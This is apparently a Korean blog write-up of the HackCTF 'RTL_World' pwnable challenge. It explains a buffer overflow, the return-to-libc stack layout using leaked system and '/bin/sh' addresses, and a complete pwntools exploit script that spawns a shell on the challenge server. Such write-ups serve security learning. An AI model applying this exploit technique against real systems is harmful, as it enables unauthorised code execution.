본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) RTL_World 풀이

by snwo 2020. 4. 27.

문제 바이너리파일입니다

system armor 과 shell sword 가 있으면

Binary Boss 를 죽일수 있다하네요.


Binary boss 의 정보입니다.

32비트 리틀엔디언이고, ASLR 밖에 설정되어있지않습니다.

메모리주소가 주어져있네요. 어떤주소인지 차차 확인해봅시다.


2번 Get Money 입니다. Farming, Item selling, Hunting 은 각각 

100, 350, 500 씩 벌 수 있습니다.


2번을 눌렀을때, Get_money함수를 호출하는데,

Get_money 에 4번을 누르면 rand() 값만큼 돈으로줍니다.

 

 

이걸로 system armor 과 shell sword 를 사서

system, shell 의 주소를 얻을수 있습니다.


gdb-peda$ x/x 0xf7e14200
0xf7e14200 <system> : 0x8b0cec83

 

gdb-peda$ x/s 0xf7f550cf

0xf7f550cf: "/bin/sh"

 

디버깅해서 확인결과 system 함수주소와 /bin/sh 문자열을 얻을 수 있단걸 알아냈다.


처음에 Binary Boss 가 산다고 하는 주소는

라이브러리의 베이스주소였다.


5번을 눌렀을때, BinaryBoss 를 공격할수있다.

 

ebp-0x8c 에 0x400만큼 입력을 받으니, overflow 가 발생한다.

return 0으로 정상종료하니, ret 주소를 조작할수있게된다.


[DUMMY] - ret까지 0x8c+4(ebp)

[system] - ret

[DUMMY] - 4

[/bin/sh] 

 

이렇게 스택을 쌓으면 된다.


원래는 call system 으로

push eip+4 (ret)를 한뒤 system 으로 점프해서

 

[] <- esp

[ebp] 

[ret]

[/bin/sh]

 

함수 프롤로그과정을 거친 후 

ebp+8 로 첫번째 인자에 접근한다.


하지만 우리는 ret 로 리턴했기때문에

system 함수로 리턴했을때

원래 있어야할 ret 주소대신

DUMMY 값을 써준다.

 

ebp+8 자리 (첫번째인자) 에 /bin/sh 를 쓰기위해서

ebp+4 (ret주소) 에 DUMMY 4 byte 를 채워준다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def BinaryBoss(p):
    p.recvuntil(">>> ")
    p.sendline('1')
    p.recvuntil("in ")
    return int(p.recv(10),16)
def Money(p):
    p.recvuntil(">>> ")
    p.sendline('2')
    p.recvuntil(">>> ")
    p.sendline('4')
def sys_armor(p):
    p.recvuntil(">>> ")
    p.sendline('3')
    p.recvuntil(" : ")
    return int(p.recv(10),16)
def shell_sword(p):
    p.recvuntil(">>> ")
    p.sendline('4')
    p.recvuntil(" : ")
    return int(p.recv(10),16)
def attack(p,pay):
    p.recvuntil(">>> ")
    p.sendline('5')
    p.recvuntil("> ")
    p.send(pay)
 
from pwn import *
r=remote('ctf.j0n9hyun.xyz',3010)
#r=process('./rtl_world')
#context.log_level='debug'
 
lib_base=BinaryBoss(r)
Money(r)
sys=sys_armor(r)
binsh=shell_sword(r)
 
payload=""
payload+='a'*0x8c
payload+='b'*4
payload+=p32(sys)
payload+='c'*4    
payload+=p32(binsh)
 
attack(r,payload)
r.interactive()

사실 값을 안받아와도

rtl_world 바이너리 내에서

system함수를 사용하고, /bin/sh 문자열이 있기때문에

라이브러리값을 사용하지않아도 된다.

 

코딩능력향상을위해 길게써봤다.